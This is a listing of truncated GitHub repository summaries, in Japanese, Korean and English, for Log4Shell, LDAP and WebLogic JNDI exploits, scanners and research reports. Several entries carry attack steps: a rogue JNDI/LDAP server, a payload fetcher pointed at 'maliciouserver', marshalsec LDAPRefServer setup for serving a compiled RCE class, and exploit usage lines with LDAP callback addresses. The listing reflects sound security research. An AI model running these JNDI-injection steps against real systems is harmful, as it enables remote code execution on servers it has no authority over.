Log4j_Vulnerability_Demo

Log4jVulnerabilityDemo Log4j の脆弱性（CVE-2021-44228）がどのように悪用されるかを示すシンプルなプログラムです。 デモの実行方法 : プログラムを起動するには、UNIX システムでは start.sh を、Windows では start.bat を実行するだけです。 ユーザー入力は読み取られ、Log4j フレームワークを使用してコンソールにログ出力されます。 デフォルトでは、Log4j ライブラリによって生成されるログメッセージは、JNDI 置換に対してサーバー到達不能 /...

CVE-2024-49112

LDAP Nightmare CVE-2024-49112 のエクスプロイト。Yuki Chen（@guhe120）氏によって報告されました。Windows Lightweight Directory Access Protocol（LDAP）の脆弱性です。 SafeBreach Labs によって作成されました（2025年1月1日公開）。脆弱性の完全な技術分析と、私たちがどのようにエクスプロイトに成功したかについては、ブログ記事 こちら をご覧ください。 概要 CVE-2024-49112 は、Microsoft によるとリモートコード実行を可能にする Windows LDAP...

CVE-2026-86344

A flaw was found in 389-ds-base. An unauthenticated remote attacker can send a complete LDAP operation followed by the first bytes of an incomplete LDAPMessage on the same connection, causing the server to hand that connection to a second worker thread before the first worker's result is flushed...

CVE-2026-21017-LDAP-Anonymous-Bind-Privilege-Escalation

CVE-2026-21017 – LDAP 匿名バインド特権昇格 プログラムコード Python ldap3 シミュレーション ldapanonsim.py - LDAP server allowing anonymous bind with write access from ldap3 import Server, Connection, ALL Simulated: real server would be misconfigured server = Server'ldap://localhost:389', getinfo=ALL conn = Connectionserver...

log4shell

Log4Shell CVE-2021-44228 — 연구 보고서 2021년 12월에 공개된 Apache Log4j 2의 치명적 원격 코드 실행 취약점인 Log4Shell 에 대한 독립형 기술 보고서입니다. 근본 원인 분석, 전체 공격 체인, 탐지/완화 지침, 그리고 격리된 로컬 랩에서 수행한 종단 간 익스플로잇 재현을 터미널 및 로그 증거와 함께 다룹니다. 실시간 보고서 보기 → 포함 내용 취약점 개요 — Log4Shell이 무엇이며 왜 치명적이었는지 기술 분석 — JndiLookup.java의 취약한 코드 경로와 4단계 공격 흐...

CVE-2026-5050-Blind-LDAP-Injection-via-Unescaped-Filter

CVE-2026-5050 – 이스케이프되지 않은 필터를 통한 블라인드 LDAP 인젝션 프로그램 코드 Python 기반 ldap3 시뮬레이션 ldapserversim.py - Simulated LDAP authentication server from flask import Flask, request, jsonify app = Flaskname Fake user database USERS = 'admin': 'password': 'secret', 'role': 'admin', 'user': 'password': 'pass',...

rogue-jndi

Rogue JNDI JNDI 인젝션 공격을 위한 악성 LDAP 서버. 설명 이 프로젝트는 기본적으로 안전하지 않은 Java JNDI API를 악용하기 위한 LDAP 및 HTTP 서버를 포함합니다. 공격을 수행하려면 로컬에서 이러한 서버를 시작한 다음 취약한 클라이언트에서 JNDI 조회를 트리거할 수 있습니다. 예: InitialContext.doLookup"ldap://yourserver.com:1389/o=reference"; 그러면 취약한 클라이언트에서 로컬 LDAP 서버로의 연결이 시작됩니다. 그런 다음 로컬 서버는 원격...

Log4Shell

Log4Shell CVE-2021-44228 ☠️ Log4Shell PoC CVE-2021-44228 Apache Log4j ≤ 2.14.1의 치명적인 취약점 Log4Shell 에 대한 테스트 익스플로잇으로, JNDI 주입을 통해 원격 코드 실행을 허용합니다. ⚠️ 이 PoC는 교육 목적 및 승인된 환경에서의 통제된 테스트 전용입니다. 명시적 허가 없이 시스템에 사용하지 마십시오. 요구 사항 Python 3.x Java 8 이상 marshalsec 악성 LDAP 서버용 HTTP 서버 예: python3 -m http.server...

LDAPRecon-AI

LDAPRecon-AI AI 기반 분석을 갖춘 Active Directory LDAP 보안 감사 도구 AD 환경의 보안 상태를 열거, 평가, 점수화합니다 영어 | 프랑스어 | | | \ / \ | | \ / \ | | | | | | | |/ \ | | | | / / / | ' \ / \ | | | || || / | /| 면책 조항 / 경고 이 도구는 승인된 보안 감사 전용 입니다. 컴퓨터 시스템에 무단으로 접근하는 것은 불법입니다. 보안 평가를 수행하기 전에 항상 적절한 서면 승인을 받으십시오. 이 도구는 승인된 보안 감사...

CVE-2021-44228

Log4Shell 개념 증명 이 저장소는 CVE-2021-44228 취약점에 대한 개념 증명입니다. 이 저장소는 이 저장소에서 파생되었습니다. 이 저장소에서는 취약한 애플리케이션의 예와 이를 익스플로잇하는 방법에 대한 데모를 만들었습니다. 개념 증명 구성 요소 저는 이 취약점의 생성을 자동화하기 위해 상위 파이썬 스크립트를 수정했습니다. 이 저장소에는 쉽게 사용할 수 있도록 두 개의 Dockerfile이 있습니다. Docker-Ldap 이 Docker 이미지에서는 제 구글 드라이브에서 자바 jdk-8u20을 다운로드합니다. 오...

Log4jTools

Log4jTools Log4j CVE-2021-44228 조사를 위한 도구 버그 설명 및 데모 https://www.youtube.com/watch?v=0-abhd-CLwQ FetchPayload.py JNDI 조회에서 제공된 ldap 경로에서 java 페이로드 가져오기. 요구 사항: curl 시스템, requests 파이썬 예제 명령: python FetchPayload.py ldap://maliciouserver:1337/path + getting object from ldap://maliciouserver:1337/pat...

log4shell_scanner

log4shellscanner 빠르고 간단한 스캐너로, 일반적인 포트를 스캔하여 Log4Shell CVE-2021-44228 취약점을 탐색합니다. 이 도구는 wget, curl, nmap 및 Log4Shell Huntress LDAP 엔드포인트를 사용합니다: https://log4shell.huntress.com/ 인터넷에 접속할 수 없는 사설 서브넷을 스캔해야 한다면, 다음 소스 코드를 사용하여 자체 HTTP 및 LDAP 서버를 구축할 수 있습니다:...

Wireshark

Wireshark 악성코드 분석 설명 이 실습에서는 Log4j 취약점을 악용한 알려진 악성 패킷 캡처를 분석했습니다. 패킷 캡처 분석 시 사용하는 동일한 플레이북으로 조사를 시작했습니다. 즉, 통계를 확인하고 엔드포인트 간 통신량을 살펴보는 것입니다. 엄청난 수의 IP 주소를 발견하고 이를 지도에 표시하기 위해 Max Mind의 GEOIP 데이터베이스를 설치 및 구성하여 IP 주소를 국가와 도시로 변환했습니다. 이 많은 IP 주소는 Log4j 취약점이나 기타 악성 스캐닝을 위한 봇넷의 잠재적 공격을 의미합니다. 캡처된 트래픽이...

CVE-2021-44228-Log4j-PoC-RCE

Apache Log4j CVE-2021-44228 GK7 PoC 단계 1. Log4jRCE.java를 컴파일하고 .class 파일을 웹 서버로 이동합니다 예: 로컬 PHP 1. cd src/main/java 2. javac Log4jRCE.java 3. .class 파일을 웹 서버로 이동하거나 로컬에서 PHP를 시작합니다 예: php -S 127.0.0.1:8888 2. LDAP 서버 시작 1. git clone [email protected]:Grupo-Kapa-7/marshalsec.git 2. cd...

CVE-2020-14645

CVE-2020-14645 사용 방법 먼저 NDI-Injection-Exploit을를 사용하여 리슨하고 ldap 주소를 생성합니다. java -jar WeblogicT3.jar -Target 127.0.0.1 -Port 7001 -RMI ldap://127.0.0.1:1389/dozvtq --SSL -Tatget 및 -RMI는 필수이며, https는 --SSL 매개변수를 사용할 수 있고, -Port의 기본값은 7001입니다. 직접 컴파일하려면 coherence.jar 및 wlfullclient.jar를 추가해야 합니다. 취약점...

Weblogic-CVE-2023-21839

Weblogic-CVE-2023-21839 CVE-2023-21839 네트워크에 공개된 POC를 기반으로 만든 도구 영향을 받는 버전 12.2.1.3.0 12.2.1.4.0 14.1.1.0.0 사용 방법 java -jar 대상 IP:포트 LDAP 주소 추천 도구: https://github.com/WhiteHSBG/JNDIExploit 면책 조항 이 도구는 네트워크 보안 공격 및 방어 연구 교류용으로만 제공되며, 사용자는 네트워크 보안법을 준수하여 합리적으로 사용하시기 바랍니다! 사용자가 이 도구를 사용하여 불법 공격 등 위법...

Log4j-Rec-CVE-2021-44228

Log4j2 재현 노트, 학습용 참조 https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce 실행 파일 생성 com/example/template javac Log4jRCE.java Python 내장 HTTP 서버 시작 com/example/template python -m http.server 8888 LDAP 서버 시작 tools java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer...

CVE-2021-44228-Apache-Log4j-Rce

CVE-2021-44228Apache Log4j 원격 코드 실행） 모든 log4j-core 버전 =2.0-beta9 및 =2.14.1 1.x 버전에는 다른 취약점이 있으므로 최신 버전으로 업데이트할 것을 권장합니다. Log4ShellCVE-2021-44228 관련 보안 권고 / 공지 사용법: 이 프로젝트를 다운로드하고, 익스플로잇 코드 blob/master/src/main/java/Exploit.java를 컴파일한 후, 컴파일된 바이너리를 다운로드할 수 있도록 웹서버를 시작하세요. git clone...

CVE-2020-1947

CVE-2020-1947 usage: CVE-2020-1947.py -h -i IP -p PORT -T ACCESSTOKEN -poc POC python CVE-2020-1947.py -i 192.168.128.135 -p 8088 -T eyJ1c2VybmFtZSI6ImFk -poc ldap://127.0.0.1:1389/CommandObject...

Log4shell

이글루코퍼레이션 원치현 Log4shell 分析レポート Log4shell CVE-2021-44228 Log4j は Apache ソフトウェア財団の無料オープンソースで、Java ベースのあらゆるアプリケーションで使用可能。様々な Java ベースのサービスのログ記録、JNDI データ及びオブジェクトを発見・参照するための Java LDAP 1389 Lookup。JNDI を介して見つけたリソースを使用する機能 脆弱サーバー起動用 Docker イメージファイルのダウンロード sudo git clone sudo docker build . -t...